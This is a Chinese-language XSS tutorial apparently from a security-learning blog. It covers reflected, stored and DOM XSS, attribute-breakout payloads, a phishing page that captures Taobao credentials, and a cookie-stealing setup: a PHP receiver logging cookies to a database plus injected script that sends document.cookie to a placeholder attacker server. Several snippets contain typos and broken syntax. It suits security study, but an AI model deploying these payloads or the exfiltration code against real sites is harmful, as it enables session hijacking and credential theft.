XSS基本原理

XSS基本原理

一、XSS基础演示代码

<?php
// 从浏览器接受一个URL地址参数,名为content
if(isset($_GGET['content'])){
    $content = $_GET['content'];
    echo "你输入的内容:$content";
}
else{
    echo "请输入URL地址参数content";
}
?>
  • 在地址栏输入:http://localhost/security/test.php?content=helloworld可以正常输出:你输入的内容:helloworld

  • 在地址栏输入http://localhost/security/test.php?content=<script>alert(1)</script>时,前端执行JavaScript代码,弹出对话框

    或者:
    http://localhost/security/test.php?content=<button onclick=alert("你被攻击了")>点我</button>
    以及更复杂一些的:
    http://localhost/security/test.php?content=<script>test() {alert("你被攻击了")}</script><button onclick="test()"点我</button>
  • 构造打开页面就执行的payload:

    http://localhost/security/test.php?content=<script>var result=0;for (var i=0;i<=100;i++) {result += i;} atlert(result);</script>
    需要注意的是,加号在URL中会被替换为空格,在构造payload时,可以使用%2B代替

二、XSS概述

  • XSS指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害则会的浏览器上执行

  • XSS的核心要求是构造出能让前端只想的JavaScript代码,所以要对JavaScript熟练

  • XSS也算是注入类的漏洞,JavaScript的代码注入,所以XSS漏洞更主要是攻击系统的用户,而不是系统本身

  • XSS是一种钓鱼攻击,攻击目标是不确定的。但是,如果针对Cookie类的攻击,隐含一个目标:网站管理员

  • JavaScript运行条件:

    • 代码位于<script></script>标签中
    <script>alert("你被攻击了")</script>
    • 代码位于onclick事件中,此类事件带有onerror,onload,onfocus,onblur,onchange,onmouseover,ondoubleclick等
    <img src="http://xxx.jpg" onmouseover="alert("/你被攻击了/")"
    • 代码位于超链接的href属性中,或者其他类似属性中
    <a href="javascript:alert(/你被攻击了/)">点击有奖金</a>
  • XSS攻击流程

    202402271305096.png

  • 基于XSS配置钓鱼网站,自行构造一个与淘宝页面一样的网页,用户一旦输入用户密码,将直接发送账密到攻击者的后台服务器,然后后台将账密保存后,再跳转到真实的淘宝网站,让用户完成后续工作,服务器代码类似于:

    //获取用户账密
    $username = $_POST['username'];
    $password = $_POST['password'];
    
    // 将数据保存起来,然后跳转到真实网站
    
    echo "<script>document.write('你的账号密码不正确,请重新登录');setTimeout(function()) {location.href='https://www.taobao.com';},2000;)</script>";

三、XSS类型

  • 反射型:构造好一个URL|XSS的payload,发给受害者,受害者点解一链接后会在受害者的浏览器上执行恶意代码。反射型XSS一次性的,比较容易被发现。通常恶意链接会被修改成一段短链接,或钓鱼图片的形式。
  • 存储型:又叫永久型XSS,常见于留言板。因为存储型XSS的页面会将用户输入的内容存到数据库中,所以当其他人每访问一次的时候服务器都会从数据库将攻击者输入的内容掉渠道前端浏览器解析,因此每一次访问就相当于一次XSS攻击
  • DOM型:不与服务器交互,本质还是一种反射型XSS,主要利用js使用DOM对前端html操作时产生的漏洞。DOM型XSS的难点在于它通过阅读JavaScript来确定输出的位置才好构建输入的payload,DOM型XSS可以通过开发者工具观测js变化

四、XSS渗透测试步骤

  • XSS的原理就是开发者没有对输入内容进行过滤,导致攻击者通过将精心构造的前端代码输入后与原有的前端代码产生混淆,形成新的页面语句,并且新的页面语句可能被浏览器解析并输出

    • 输入:指攻击者对服务器输入恶意代码
    • 输出:指浏览器接收到代码后能够解析并输出到前端
  • XSS渗透测试步骤

    • 找到输入点,输入任意字符串,查看输出位置
    • 打开网页源代码,在源代码中查看输出的位置(有可能输入和输出不在同一页面)
    • 查看输出位置的内容跟与输入内容之间的关系,构建闭合和拼接脚本
    • 利用<script>或者onclick或alert(1)进行测试,确认是否存在XSS注入点
    • 开始利用该注入点进行各种复杂操作以实现攻击目的
  • 将php代码优化为以下,让用户输入内容在一个文本框中输出:

    <?php
    // 从浏览器接受一个URL地址参数,名为content
    if(isset($_GGET['content'])){
      $content = $_GET['content'];
      echo "你输入的内容是:<input type='text' id='content' value='" . $content . "'>";
    }
    else{
      echo "请输入URL地址参数content";
    }
    ?>
    • 此时可以通过拼接引号构造闭合来进行注入:
    http://localhost/security/test.php?value=hello' onclick=alert(1)'
    可以使用注释(#、//、/**/、<!--)将后面的内容截断:
    http://localhost/security/test.php?value=hello' onclick=alert(1) /> <!--

五、XSS获取Cookie

1.创建XSSdata数据库

image-20240227160126122

2.攻击者服务器代码

// 以下代码同样具有sql注入漏洞,可以利用报错注入的方式进行注入

<?php

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];

$conn = new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功");
$conn->set_charset('utf8');
$sql = "insert into xssdata(ipaddr, url, cookie, createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);

// 执行完上述收集过程后返回上一级:
// echo "<script>history.back();</script>";
// 执行完上述收集过程后跳转到其他网站:
// echo "<script>location.href='http://www.baidu.com/'</script>";

?>

3.在页面中注入代码

以下内容要注意在注入时把+号和&号替换为%2B和%26

使用script标签,将以下代码注入到页面后,每当有用户访问该留言或帖子,攻击者服务器就能收集到cookie信息:
<script>
    new Image().src = "http://攻击者服务器地址/xssrecv.php?url=" + location.href + "&cookie=" + document.cookie;
</script>

如果script被过滤,可以如下注入,但需要用户点击图片攻击者服务器才能收集到cookie信息:
<a href=\'javascript:location.href="http://攻击者服务器地址/xssrecv.php?url="%2Blocation.href%2B"%26cookie="%2Bdocument.cookie\'><img src="http://攻击者服务器地址/image.gif"/>  </a>
  • 获取cookie后,可以利用该cookie伪装用户登录
  • 当管理员访问页面时也会被收集cookie,可以利用管理员身份快速给自己留下后门

六、BlueLotusXSS平台

trysec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具 (github.com)

使用工具

上一篇
下一篇